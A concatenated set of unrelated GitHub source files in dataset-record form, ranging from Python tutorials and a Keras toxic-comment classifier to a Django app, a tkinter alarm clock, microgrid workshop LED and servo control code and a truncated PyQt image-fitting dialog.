\"YHTEYSVIRHE\\nkoodi:paivitaRobotti\")\n else:\n pass\n","repo_name":"Imofa/NAO","sub_path":"Nao/SQL_toiminnot.py","file_name":"SQL_toiminnot.py","file_ext":"py","file_size_in_byte":9629,"program_lang":"python","lang":"fi","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"9798056229","text":"from PIL import Image\nd = {1: \"1.jpg\", 2: \"2.jpg\", 3: \"3.jpg\", 4: \"4.jpg\", 5: \"a.jpg\"}\n\nprint(\"1 - Новый год\"\n \" 2 - 23 февраля\"\n \" 3 - 8 марта\"\n \" 4 - День рождения\"\n \" 5 - День раковины\")\nq = int(input(\"Для получения открытки введите число - номер праздника : \"))\n\nfilename = d[q]\nwith Image.open(filename) as img:\n img.load()\n\nimg.show()","repo_name":"Sofia-Bashlykova/LR8","sub_path":"2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":453,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"16348615109","text":"# dict is key with value\n# dict=key:value\n\nmyDict = {\n \"Fast\": \"In a Quick Manner\",\n \"Abhii\": \"A Coder\",\n \"Marks\": [1, 2, 5],\n \"anotherdict\": {'Abhii': 'Player'}\n}\n\n# print(myDict['Fast'])\n# print(myDict['Abhii'])\nmyDict['Marks'] = [45, 78]\nprint(myDict['Marks'])\nprint(myDict['anotherdict']['Abhii'])\n\n\n\nmyDict = {\n \"fast\": \"In a Quick Manner\",\n \"Abhii\": \"A Coder\",\n \"marks\": [1, 2, 5],\n \"anotherdict\": {'Abhii': 'Player'},\n 1: 2\n}\n\n# Dictionary Methods\nprint(list(myDict.keys())) # Prints the keys of the dictionary\nprint(myDict.values()) # Prints the keys of the dictionary \nprint(myDict.items()) # Prints the (key, value) for all contents of the dictionary \nprint(myDict)\nupdateDict = {\n \"Lovish\": \"Friend\",\n \"Divya\": \"Friend\",\n \"Shubham\": \"Friend\",\n \"Abhii\": \"A Dancer\"\n}\nmyDict.update(updateDict) # Updates the dictionary by adding key-value pairs from updateDict\nprint(myDict)\n\nprint(myDict.get(\"Abhii\")) # Prints value associated with key \"Abhii\"\nprint(myDict[\"Abhii\"]) # Prints value associated with key \"Abhii\"\n\n# The difference between .get and [] sytax in Dictionaries?\nprint(myDict.get(\"Abhii2\")) # Returns None as Abhii2 is not present in the dictionary\nprint(myDict[\"Abhii2\"]) # throws an error as Abhii2 is not present in the dictionary\n\n\n\n\n ","repo_name":"Abhiii5540/Python-programs","sub_path":"dictionary.py","file_name":"dictionary.py","file_ext":"py","file_size_in_byte":1297,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"13556650664","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Sep 28 10:47:31 2020\n\n@author: Nielsen Castelo Damasceno Dantas\n\"\"\"\nfrom tensorflow.keras.preprocessing.sequence import pad_sequences\nfrom tensorflow.keras.layers import Dense, LSTM, Embedding, Input\nfrom tensorflow.keras.models import Model\nfrom sklearn.model_selection import train_test_split\nfrom tensorflow.keras.preprocessing.text import Tokenizer\nimport matplotlib.pyplot as plt\n\nfrom numpy import asarray\nfrom numpy import zeros\nimport pandas as pd\nimport re\nfrom tqdm import tqdm\n\n# data base url (https://www.kaggle.com/c/jigsaw-toxic-comment-classification-challenge/overview)\ntoxic_comments = pd.read_csv(\"base/train.csv\")\n\nfilter = toxic_comments[\"comment_text\"] != \"\"\ntoxic_comments = toxic_comments[filter]\ntoxic_comments = toxic_comments.dropna()\n\nprint(toxic_comments[\"comment_text\"][168])\n\nprint(\"Toxic:\" + str(toxic_comments[\"toxic\"][168]))\nprint(\"Severe_toxic:\" + str(toxic_comments[\"severe_toxic\"][168]))\nprint(\"Obscene:\" + str(toxic_comments[\"obscene\"][168]))\nprint(\"Threat:\" + str(toxic_comments[\"threat\"][168]))\nprint(\"Insult:\" + str(toxic_comments[\"insult\"][168]))\nprint(\"Identity_hate:\" + str(toxic_comments[\"identity_hate\"][168]))\n\ntoxic_comments_labels = toxic_comments[[\"toxic\", \"severe_toxic\", \"obscene\", \"threat\", \"insult\", \"identity_hate\"]]\ntoxic_comments_labels.head()\n\nfig_size = plt.rcParams[\"figure.figsize\"]\nfig_size[0] = 10\nfig_size[1] = 8\nplt.rcParams[\"figure.figsize\"] = fig_size\n\ntoxic_comments_labels.sum(axis=0).plot.bar()\n\ndef preprocess_text(sen):\n # Remove punctuations and numbers\n sentence = re.sub('[^a-zA-Z]', ' ', sen)\n\n # Single character removal\n sentence = re.sub(r\"\\s+[a-zA-Z]\\s+\", ' ', sentence)\n\n # Removing multiple spaces\n sentence = re.sub(r'\\s+', ' ', sentence)\n sentence = sentence.lstrip().rstrip()\n\n return sentence\n \n\nX = []\nsentences = list(toxic_comments[\"comment_text\"])\nfor sen in tqdm(sentences):\n X.append(preprocess_text(sen))\n\ny = toxic_comments_labels.values\n\n\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.20, random_state=42)\n\ntokenizer = Tokenizer(num_words=5000)\ntokenizer.fit_on_texts(X_train)\n\nX_train = tokenizer.texts_to_sequences(X_train)\nX_test = tokenizer.texts_to_sequences(X_test)\n\nvocab_size = len(tokenizer.word_index) + 1\n\nmaxlen = 200\n\nX_train = pad_sequences(X_train, padding='post', maxlen=maxlen)\nX_test = pad_sequences(X_test, padding='post', maxlen=maxlen)\n\nembeddings_dictionary = dict()\n\n# url (https://nlp.stanford.edu/projects/glove/)\nglove_file = open('base/glove.6B.100d.txt', encoding=\"utf8\")\n\nfor line in tqdm(glove_file):\n records = line.split()\n word = records[0]\n vector_dimensions = asarray(records[1:], dtype='float32')\n embeddings_dictionary[word] = vector_dimensions\nglove_file.close()\n\n\nembedding_matrix = zeros((vocab_size, 100))\nfor word, index in tqdm(tokenizer.word_index.items()):\n embedding_vector = embeddings_dictionary.get(word)\n if embedding_vector is not None:\n embedding_matrix[index] = embedding_vector\n \n \ndeep_inputs = Input(shape=(maxlen,))\nembedding_layer = Embedding(vocab_size, 100, weights=[embedding_matrix], trainable=False)(deep_inputs)\nLSTM_Layer_1 = LSTM(128)(embedding_layer)\ndense_layer_1 = Dense(6, activation='sigmoid')(LSTM_Layer_1)\nmodel = Model(inputs=deep_inputs, outputs=dense_layer_1)\n\nmodel.compile(loss='binary_crossentropy', optimizer='adam', metrics=['acc'])\n\nprint(model.summary())\n\n\nhistory = model.fit(X_train, y_train, batch_size=128, epochs=5, verbose=1, validation_split=0.2)\n\nscore = model.evaluate(X_test, y_test, verbose=1)\n\nprint(\"Test Score:\", score[0])\nprint(\"Test Accuracy:\", score[1])\n\n\n# Plot results\nplt.plot(history.history['acc'])\nplt.plot(history.history['val_acc'])\n\nplt.title('model accuracy')\nplt.ylabel('accuracy')\nplt.xlabel('epoch')\nplt.legend(['train','test'], loc='upper left')\nplt.show()\n\nplt.plot(history.history['loss'])\nplt.plot(history.history['val_loss'])\n\nplt.title('model loss')\nplt.ylabel('loss')\nplt.xlabel('epoch')\nplt.legend(['train','test'], loc='upper left')\nplt.show()","repo_name":"nielsencastelo/toxic_multilabel_keras","sub_path":"toxic_v1.py","file_name":"toxic_v1.py","file_ext":"py","file_size_in_byte":4096,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"70938833628","text":"import os\nimport json\nfrom datetime import datetime\nfrom django.http import JsonResponse\nfrom django.shortcuts import render\nfrom django.contrib.auth.decorators import login_required\nfrom models import Stamp, DayStamp\n\n\ndef jsonable_stamps():\n stamps = {}\n for stamp in Stamp.objects.all():\n stamps[stamp.id] = {\n 'id': stamp.id,\n 'img': os.path.join('static/', stamp.path),\n 'name': stamp.name,\n }\n return stamps\n\n\n@login_required\ndef index(request):\n return render(request, 'index.html')\n\n\n@login_required\ndef month(request, year, month):\n year = int(year)\n month = int(month)\n stamped = {}\n for ds in DayStamp.month_query(request.user, year, month).all():\n key = '{0.year}-{0.month}-{0.day}'.format(ds.date)\n if key not in stamped:\n stamped[key] = []\n stamped[key].append(ds.stamp_id)\n\n return JsonResponse({\n 'date': datetime(year, month, 1).isoformat(),\n 'stamps': jsonable_stamps(),\n 'stamped': stamped,\n })\n\n\n@login_required\ndef save(request):\n date = request.POST['date']\n tokens = date.split('-')\n date = datetime(int(tokens[0]), int(tokens[1]), int(tokens[2]))\n stamp = Stamp.objects.get(id=int(request.POST['stamp']))\n addStamp = request.POST['addStamp']\n\n if addStamp.lower() in ['true', '1']:\n ds = DayStamp.create(request.user, date, stamp)\n ds.save()\n else:\n ds = DayStamp.objects.get(user=request.user, date=date, stamp=stamp)\n ds.delete()\n return JsonResponse({})\n\n\n@login_required\ndef streak(request):\n streak = []\n for ds in DayStamp.current_streak(request.user):\n streak.append({\n 'img': os.path.join('static/', ds.stamp.path),\n })\n v = {\n 'stamps': jsonable_stamps(),\n 'streak': streak,\n }\n return JsonResponse(v)\n","repo_name":"footley/streak","sub_path":"agenda/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1871,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"14398335345","text":"\n\nclass CAttack:\n def __init__(self,obj):\n self.obj = obj\n self.ball_count = 10\n self.scale = 1.\n from Singletons.resourcemgr import GetSound\n self.kick_sound = GetSound('kick.ogg')\n def do_attack(self,ball):\n if self.ball_count <= 0 :\n return False\n from Objects.ball import CBall\n player_pos = self.obj.GetObjectScreenPos()\n from Singletons.ckeymgr import GetMousePos\n mpos = GetMousePos()\n dir = (mpos - player_pos).normalized()\n from Singletons.ckeymgr import GetKey\n if 'HOLD' == GetKey(1) or 'TAP' == GetKey(1):\n from Singletons.ctimemgr import DT\n ball.ready_to_fire = True\n self.scale += 5 * DT()\n from pico2d import clamp\n self.scale = clamp(1,self.scale,3)\n ball.GetTransform().m_scale = self.scale\n ball.item_fire_dir = dir\n return False\n elif 'AWAY' == GetKey(1):\n from Singletons.eventmgr import CreateObj\n self.kick_sound.play()\n scale = self.scale\n CreateObj(\"PROJ\",CBall(50, 50, self.obj.GetTransform().m_pos + dir * 10, dir,scale))\n self.ball_count -= 1\n self.scale = 0\n return True","repo_name":"hypernagox/2DGP_TermProject","sub_path":"Attack/attack.py","file_name":"attack.py","file_ext":"py","file_size_in_byte":1279,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"16753965745","text":"from bs4 import BeautifulSoup\nimport requests\nimport re\nimport os\n\nhd = {\n 'Accept':'image/png, image/svg+xml, image/jxr, image/*;q=0.8, */*;q=0.5',\n 'Accept-Language': 'zh-Hans-CN,zh-Hans;q=0.5',\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2486.0 Safari/537.36 Edge/13.10586',\n 'Accept-Encoding': 'gzip, deflate',\n 'Connection': 'Keep-Alive',\n 'Pragma': 'no-cache',\n}\n\n\ndef get_html_text(url):\n r = requests.get(url, headers=hd)\n return r.text\n\n\ndef get_index_urls(url):\n html = get_html_text(url)\n soup = BeautifulSoup(html, 'lxml')\n items = soup.select('tbody > tr')\n for item in items:\n url = item.select('td.tit a')[0].get('href')\n link = 'http://www.kuaikanmanhua.com/' + url\n title = item.select('td.tit a')[0].get('title')\n data = re.findall('(.*?)', str(item))\n yield {'link': link,'title':title,'data':data[0]}\n\n\ndef pare_index_page(url):\n html = get_html_text(url)\n soup = BeautifulSoup(html, 'lxml')\n items = soup.select('div.list.comic-imgs > img')\n for item in items:\n src = re.findall('data-kksrc=\"(.*?)\" h', str(item), re.S)\n yield src[0].replace('amp;', '')\n\n\ndef save_to_file(index_url, urllist):\n count = 1\n base_dir = 'commic'\n path = '{}\\\\{}\\\\{}\\\\'.format(os.getcwd(), base_dir, index_url['title'])\n if not os.path.exists(path):\n os.makedirs(path)\n for url in urllist:\n pic = requests.get(url, headers=hd)\n with open(path + str(count) + '.jpg', 'wb') as f:\n f.write(pic.content)\n print('正在保存 {}这张图片到 {}中'.format(url, path))\n count += 1\n\n\ndef main():\n urllist = []\n url = 'http://www.kuaikanmanhua.com/web/topic/178/'\n for index_url in get_index_urls(url):\n for img_src in pare_index_page(index_url['link']):\n urllist.append(img_src)\n save_to_file(index_url, urllist)\n print('又是一话啦')\n urllist = []\n print('下载完成咯')\nif __name__ == '__main__':\n main()","repo_name":"yutao9023/python_spider","sub_path":"快看漫画.py","file_name":"快看漫画.py","file_ext":"py","file_size_in_byte":2102,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"4039772208","text":"from time import strftime\nimport tkinter as tk\nimport pygame\n\n\n\n#BACK\nalarm_clocks = []\npygame.mixer.init()\n\ndef set_clock():\n\tclock.config(text = strftime(\"%H:%M:%S\"))\n\tclock.after(1000,set_clock)\n\n\ndef set_alarm_clock(hour, minute):\n\talarm_clocks.append({\"hour\":hour, \"minute\":minute})\n\tactive_alarm()\n\ndef active_alarm():\n\talarm_clock = \"{}:{}:00\".format(alarm_clocks[0][\"hour\"],alarm_clocks[0][\"minute\"])\n\tif alarm_clock == strftime(\"%H:%M:%S\"):\n\t\talarm.config(text = alarm_clock)\n\t\tpygame.mixer.music.load(\"osg_S_065.mp3\")\n\t\tpygame.mixer.music.play(loops = 2)\n\t\tbtn_stop_alarm.place(x = 325, y = 200)\n\tbtn_set_alarm.after(1000,active_alarm)\n\ndef stop_alarm():\n\tpygame.mixer.music.stop()\n\n\n\n\n#FRONT\nroot = tk.Tk()\nroot.title(\"Alarm Clock\")\nroot.geometry(\"500x250\")\nroot.resizable(0,0)\nroot.config(bg = \"black\")\n\n#LABEL\nclock = tk.Label(root, bg = \"black\", fg = \"white\", font = \"arial 50 bold\")\nclock.pack()\nset_clock()\n\nalarm = tk.Label(root, bg = \"black\", fg = \"green\", font = \"arial 50 bold\")\nalarm.pack()\n\n#ENTRY\nhour = tk.Entry(root, width = 2, bg = \"black\", fg = \"green\", font = \"arial 30\")\nhour.place(x = 195, y = 135)\n\nminute = tk.Entry(root, width = 2, bg = \"black\", fg = \"green\", font = \"arial 30\")\nminute.place(x = 255, y = 135)\n\n#BUTTON\nbtn_set_alarm = tk.Button(root, text = \"Set Alarm\", command = lambda: set_alarm_clock(hour.get(),minute.get()))\nbtn_set_alarm.place(x = 100, y = 200)\n\nbtn_stop_alarm = tk.Button(root, text = \"Stop Alarm\", command = stop_alarm)\n\n\nroot.mainloop()\n\n","repo_name":"bentocussei/alarmclock","sub_path":"alarm_clock.py","file_name":"alarm_clock.py","file_ext":"py","file_size_in_byte":1498,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"72535079387","text":"import socket\r\nimport pickle\r\n\r\nclass Network:\r\n def __init__(self):\r\n self.client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n self.server = \"localhost\"\r\n # self.server = \"157.245.50.224\"\r\n self.port = 5555\r\n self.addr = (self.server, self.port)\r\n try:\r\n self.id = self.connect()\r\n except:\r\n print(\"network: can't connect to sever\")\r\n\r\n def connect(self):\r\n try:\r\n self.client.connect(self.addr)\r\n return pickle.loads(self.client.recv(2048*3))\r\n except:\r\n pass\r\n\r\n def send(self, data):\r\n try:\r\n self.client.sendall(pickle.dumps(data))\r\n data = self.client.recv(2048*5)\r\n if len(data) == 0:\r\n print(\"network: PUTUS!!!!!!!!!!!!!!!!!!!!!!!\")\r\n return self.disconnect()\r\n return pickle.loads(data)\r\n except socket.error as e:\r\n print(e)\r\n\r\n def disconnect(self):\r\n self.client.close()\r\n return \"disconnect\"","repo_name":"bagasys/bingo-online-pygame","sub_path":"network.py","file_name":"network.py","file_ext":"py","file_size_in_byte":1056,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"9648798710","text":"import numpy as np\n\ndef market_data(start_time, end_time, freq, time_dist=\"normal\", price_dist=\"normal\", qty_dist=\"normal\"):\n curr_time = start_time\n prev_price = 100.0 # starting price\n\n while curr_time < end_time:\n # Generate time\n if time_dist == \"normal\":\n delta = np.random.normal(scale=freq.total_seconds(), size=None)\n elif time_dist == \"lognormal\":\n delta = np.random.lognormal(sigma=freq.total_seconds(), size=None)\n elif time_dist == \"t\":\n delta = np.random.standard_t(df=3, size=None) * freq.total_seconds()\n elif time_dist == \"poisson\":\n delta = np.random.poisson(lam=freq.total_seconds(), size=None)\n else:\n raise ValueError(\"Invalid time distribution\")\n\n # Convert delta to timedelta64 and add to curr_time\n delta = np.timedelta64(int(delta), 'us')\n curr_time = np.datetime64(curr_time) + delta\n\n # Generate price increment using random walk\n if price_dist == \"normal\":\n increment = np.random.normal(loc=0, scale=0.001)\n elif price_dist == \"lognormal\":\n increment = np.random.lognormal(mean=0, sigma=0.001)\n elif price_dist == \"t\":\n increment = np.random.standard_t(df=3) * 0.001\n else:\n raise ValueError(\"Invalid price distribution\")\n prev_price += increment\n\n # Generate bid and offer prices using the price increment and round them to 2 decimal places\n bid_price = round(prev_price - np.random.uniform(0.01, 0.10), 2)\n offer_price = round(bid_price + np.random.uniform(0.01, 0.10), 2)\n\n # Generate bid and offer quantities\n if qty_dist == \"normal\":\n bid_qty = np.random.normal(loc=1000, scale=100)\n elif qty_dist == \"lognormal\":\n bid_qty = np.random.lognormal(mean=1000, sigma=0.5)\n elif qty_dist == \"poisson\":\n bid_qty = np.random.poisson(lam=1000)\n else:\n raise ValueError(\"Invalid quantity distribution\")\n offer_qty = bid_qty + np.random.randint(1, 10)\n\n # Yield market data\n yield (curr_time, bid_price, offer_price, bid_qty, offer_qty)\n\n\n\nimport datetime as dt\n\nstart_time = dt.datetime(2022, 1, 3, 9, 30, 0)\nend_time = dt.datetime(2022, 1, 3, 16, 0, 0)\nfreq = dt.timedelta(milliseconds=1)\n\nfor data in market_data(start_time, end_time, freq, time_dist=\"poisson\", price_dist=\"normal\", qty_dist=\"poisson\"):\n print(data)\n\n","repo_name":"SalmonTT/algo_trading_4733","sub_path":"mkdata.py","file_name":"mkdata.py","file_ext":"py","file_size_in_byte":2480,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"70764024988","text":"\"\"\"\nDEFCON 30 Hack The Microgrid Solar Array\n​\nThis code is intended to be run on the Solar Array portion of the workshop\n\"\"\"\n\nimport board # needed for everything\nimport neopixel # needed for led control\nimport struct # needed for serial\nimport busio # needed for serial\nimport random # needed for random\n\nfrom adafruit_crickit import crickit # needed to talk to crickit\n\n# For signal control, we'll chat directly with seesaw, use 'ss' to shorted typing!\nss = crickit.seesaw\n\n# Setup LEDs\npixels = neopixel.NeoPixel(board.NEOPIXEL, 10, brightness=1)\nhouses = neopixel.NeoPixel(board.A1, 6, brightness=1) # have six houses\n\n# set up serial\nuart = busio.UART(board.TX, board.RX, baudrate=9600, timeout=0.1)\n\n\ndef initial_setup():\n global pixels, ss, houses\n\n print(\"initial setup\")\n\n # initialize the servo angles\n crickit.servo_1.angle = 90\n crickit.servo_2.angle = 90\n crickit.servo_3.angle = 90\n crickit.servo_4.angle = 90\n\n # initialize the LEDs\n pixels.fill((0x0, 0x0, 0x10))\n houses.fill((0x0, 0x0, 0x10))\n pixels.show()\n houses.show()\n\n\ndef process_serial_input():\n\n if uart.in_waiting >= 6:\n try:\n data = uart.read()\n\n cmd_msg = struct.unpack(\"3s\", data[:3])[0]\n cmd = \"\".join([chr(b) for b in cmd_msg])\n\n # print(len(data))\n # print(cmd)\n\n if len(data) == 3:\n # return a payload of None\n return (cmd, None)\n else:\n return (cmd, data[3:])\n\n except:\n print(\"Serial processing error\")\n return None\n else:\n return None\n\n\ndef serial_loop():\n\n # Check the input buffer prior to any action\n data = process_serial_input()\n\n if data is not None:\n\n cmd = data[0]\n payload = data[1]\n\n if cmd == \"led\":\n # print(\"process led cmd\")\n pixels[payload[0]] = (payload[1], payload[2], payload[3])\n uart.write(\"LED \\n\".encode())\n elif cmd == \"top\":\n for i in range(0, 5):\n pixels[i] = (payload[0], payload[1], payload[2])\n uart.write(\"TOP \\n\".encode())\n elif cmd == \"btm\":\n for i in range(5, 10):\n pixels[i] = (payload[0], payload[1], payload[2])\n uart.write(\"BTM \\n\".encode())\n elif cmd == \"cir\":\n pixels.fill([payload[0], payload[1], payload[2]])\n uart.write(\"CIR \\n\".encode())\n elif cmd == \"all\":\n pixels.fill([payload[0], payload[1], payload[2]])\n houses.fill([payload[1], payload[0], payload[2]])\n uart.write(\"ALL \\n\".encode())\n elif cmd == \"hse\":\n houses[payload[0]] = (payload[2], payload[1], payload[3])\n uart.write(\"HSE \\n\".encode())\n elif cmd == \"wnd\":\n houses[0] = (payload[1], payload[0], payload[2])\n houses[1] = (payload[1], payload[0], payload[2])\n houses[2] = (payload[1], payload[0], payload[2])\n uart.write(\"WND \\n\".encode())\n elif cmd == \"sol\":\n houses[3] = (payload[1], payload[0], payload[2])\n houses[4] = (payload[1], payload[0], payload[2])\n houses[5] = (payload[1], payload[0], payload[2])\n uart.write(\"SOL \\n\".encode())\n elif cmd == \"srv\":\n crickit.servo_1.angle = payload[0]\n crickit.servo_2.angle = payload[1]\n crickit.servo_3.angle = payload[2]\n crickit.servo_4.angle = payload[3]\n uart.write(\"SRV \\n\".encode())\n elif cmd == \"rst\":\n initial_setup()\n uart.write(\"RST \\n\".encode())\n elif cmd == \"who\":\n uart.write(\"SOL \\n\".encode())\n elif cmd == \"egg\":\n for i in range(0,10):\n pixels[i] = (random.randint(0, 255), random.randint(0, 255), random.randint(0, 255))\n \n for i in range(0,6):\n houses[i] = (random.randint(0, 255), random.randint(0, 255), random.randint(0, 255))\n uart.write(\"EGG \\n\".encode())\n \n else:\n uart.reset_input_buffer()\n print(f\"Unknown command: {cmd}\")\n uart.write(\"ERROR, UNKNOWN COMMAND\\n\".encode())\n\n\n# Main method that launches everything\ndef main():\n initial_setup()\n while True:\n serial_loop()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"deptofdefense/HackTheMicrogrid","sub_path":"code/solar/code.py","file_name":"code.py","file_ext":"py","file_size_in_byte":4400,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"13061488733","text":"__all__ = ['UISlider']\n\nfrom panda3d.core import Vec4\nfrom direct.gui.DirectGui import DGG, DirectButton, DirectSlider\n\n\nclass UISlider(DirectSlider):\n \"\"\"\n UISlider -- a widget which represents a slider that the\n user can pull left and right to represent a continuous value.\n \"\"\"\n\n def __init__(self, parent=None, **kw):\n optiondefs = (\n ('allowprogressBar', False, self.__progressBar),\n )\n\n self.orientation = None\n self.progressBar = None\n if kw.get('orientation') == DGG.VERTICAL:\n # These are the default options for a vertical layout.\n optiondefs += (\n ('frameSize', (-0.08, 0.08, -1, 1), None),\n ('frameVisibleScale', (0.25, 1), None),\n )\n else:\n # These are the default options for a horizontal layout.\n optiondefs += (\n ('frameSize', (-1, 1, -0.08, 0.08), None),\n ('frameVisibleScale', (1, 0.25), None),\n )\n # Merge keyword options with default options\n self.defineoptions(kw, optiondefs)\n\n # Initialize superclasses\n DirectSlider.__init__(self, parent)\n\n self.progressBar = self.createcomponent(\"progressBar\", (), None,\n DirectButton, (self,),\n borderWidth=self['borderWidth'],\n state=DGG.DISABLED,\n sortOrder=-1,\n frameColor=(1.0, 1.0, 1.0, 1.0))\n\n # Call option initialization functions\n self.initialiseoptions(UISlider)\n\n def __progressBar(self):\n if self.progressBar is not None:\n if self['allowprogressBar'] is True:\n self.progressBar.show()\n self.__updProgressBar()\n else:\n self.progressBar.hide()\n\n def __updProgressBar(self):\n if self['allowprogressBar'] is True:\n fs = self['frameSize']\n sc = self.getScale()\n vfs = self['frameVisibleScale']\n if self.guiItem.has_frame():\n self.guiItem.recompute()\n tpos = self.thumb.getPos(self)\n\n r = self['range']\n if self['orientation'] == DGG.HORIZONTAL:\n pos = self.thumb.getPos()\n a = tpos[0]\n b = tpos[0]\n if r[0] > r[1]:\n a = fs[1]\n else:\n b = fs[0]\n self.progressBar['frameSize'] = (b, a, fs[2], fs[3])\n self.progressBar.setSz(vfs[1])\n self.progressBar.setSx(vfs[0])\n else: # VERTICAL\n a = tpos[2]\n b = tpos[2]\n if r[0] > r[1]:\n b = fs[3]\n else:\n a = fs[2]\n self.progressBar['frameSize'] = (fs[0], fs[1], a, b)\n self.progressBar.setSx(vfs[0])\n self.progressBar.setSz(vfs[1])\n # center progressbar\n self.progressBar.setPos(0, 0, 0)\n if self.guiItem.has_frame():\n afs = Vec4(self.progressBar.guiItem.getFrame())\n bfs = Vec4(self.guiItem.getFrame())\n afs.setX(.5 * (afs[0] + afs[1]))\n afs.setZ(.5 * (afs[2] + afs[3]))\n bfs.setX(.5 * (bfs[0] + bfs[1]))\n bfs.setZ(.5 * (bfs[2] + bfs[3]))\n if self['orientation'] == DGG.VERTICAL:\n self.progressBar.setX(self, bfs[0] - (afs[0]) * self.progressBar.getSx(self))\n if self['orientation'] == DGG.HORIZONTAL:\n self.progressBar.setZ(self, bfs[2] - (afs[2]) * self.progressBar.getSz(self))\n\n # override\n def setOrientation(self):\n if self.orientation is None:\n self.orientation = self['orientation']\n if self.orientation != self['orientation']:\n self.orientation = self['orientation']\n vfs = self['frameVisibleScale']\n self['frameVisibleScale'] = (vfs[1], vfs[0])\n if self.progressBar is not None and not self.progressBar.isHidden():\n pbfs = self.progressBar.guiItem.getFrame()\n self.progressBar['frameSize'] = (pbfs[2], pbfs[3], pbfs[0], pbfs[1])\n tf = self.thumb['frameSize']\n self.thumb['frameSize'] = (tf[2], tf[3], tf[0], tf[1])\n super().setOrientation()\n\n # override\n def destroy(self):\n if (hasattr(self, 'progressBar')):\n self.progressBar.destroy()\n del self.progressBar\n super().destroy()\n\n # override\n def commandFunc(self):\n super().commandFunc()\n self.__updProgressBar()\n\n # override\n def setFrameSize(self, fClearFrame=0):\n super().setFrameSize(fClearFrame=fClearFrame)\n self.__updProgressBar()","repo_name":"bradylangdale/Chromatose","sub_path":"verticalbar.py","file_name":"verticalbar.py","file_ext":"py","file_size_in_byte":4981,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"18238816066","text":"import numpy as np\nimport scipy as scp\nimport matplotlib.pyplot as plt\nimport random\nimport scipy.spatial as KDTree\n\nY=[]\nR=[]\nmovieIds=np.zeros(1683)\nwith open('y.txt') as yfile:\n\tfor x in yfile:\n\t\tY.append(x.split(','))\nwith open('r.txt') as rfile:\n\tfor x in rfile:\n\t\tR.append(x.split(','))\n\nwith open('movie_ids.txt') as mfile:\n\tfor x in mfile:\n\t\tz=x.split(' ')\n\t\tmovieIds[int(z[0])]=' '.join(z[1:-1])\n\nY=np.array(Y).astype(int)\nR=np.array(R).astype(int)\n\nmyRating=np.zeros(1682)\ni=0\nfor x in movieIds.keys():\n\tmyRating[int(x)]=random.choice([1,2,3,4,5])\n\ti+=1\n\tif i > 20:\n\t\tbreak\ntree=KDTree.KDTree(np.transpose(R))\nz=tree.query(myRating,20)\nfor x in movieIds[myRating[:]==0]:\n\tprint(x)\n","repo_name":"wemstar/EksploracjaDanych","sub_path":"Lab5/Zadanie1.py","file_name":"Zadanie1.py","file_ext":"py","file_size_in_byte":691,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"14912553149","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\"\"\"Image/Curve fitting.\n\"\"\"\n\nimport numpy as np\nfrom functools import partial\nfrom scipy import interpolate\n\nfrom PyQt5.QtCore import pyqtSlot\nfrom PyQt5.QtWidgets import QDialog\nfrom PyQt5.QtWidgets import QMessageBox\n\nfrom mpl4qt.ui.ui_fit_image import Ui_Dialog\n\n\nSMOOTH_METH = {\n 'Spline-1': ('linear', 'First Order Spline Interpolation'),\n 'Spline-3': ('cubic', 'Third Order Spline Interpolation'),\n 'Spline-5': ('quintic', 'Fifth Order Spline Interpolation'),\n}\n\n\n# smooth method, literal to param\nSMOOTH_METHOD_DICT = {\n 'Nearest': 'nearest',\n 'Linear': 'linear',\n 'Spline-0': 'zero',\n 'Spline-1': 'slinear',\n 'Spline-2': 'quadratic',\n 'Spline-3': 'cubic',\n}\n\n\nclass FittingImage(QDialog, Ui_Dialog):\n\n def __init__(self, parent=None):\n super(FittingImage, self).__init__()\n self.parent = parent\n\n self.setupUi(self)\n self.setWindowTitle(\"Fitting - Image\")\n\n self.post_init_ui()\n\n def post_init_ui(self):\n # initialized ready\n self._initialized = False\n # smooth method\n o = self.smooth_method_cbb\n o.currentTextChanged.connect(self.on_update_smethod)\n o.currentTextChanged.emit(o.currentText())\n\n # nx, ny\n for xoy, o in zip(('x', 'y'), (self.nx_sbox, self.ny_sbox)):\n o.valueChanged.connect(partial(self.on_update_n, xoy))\n o.valueChanged.emit(o.value())\n\n # reset nx & ny\n self.reset_pts_btn.clicked.connect(self.on_reset_xypoints)\n\n # 3d view\n self.view_3d_btn.clicked.connect(self.on_view_3d)\n\n # hm view\n self.view_hm_btn.clicked.connect(self.on_view_hm)\n\n @pyqtSlot()\n def on_view_3d(self):\n # show data in 3D.\n self._show_surface_view(self.matplotlibimageWidget, 1.2, 0.8)\n\n @pyqtSlot()\n def on_view_hm(self):\n # show data in heatmap\n self._show_heatmap_view(self.matplotlibimageWidget, 0.8)\n\n @pyqtSlot()\n def on_reset_xypoints(self):\n self.nx_sbox.setValue(self._nx0)\n self.ny_sbox.setValue(self._ny0)\n\n @pyqtSlot(int)\n def on_update_n(self, xoy, i):\n setattr(self, 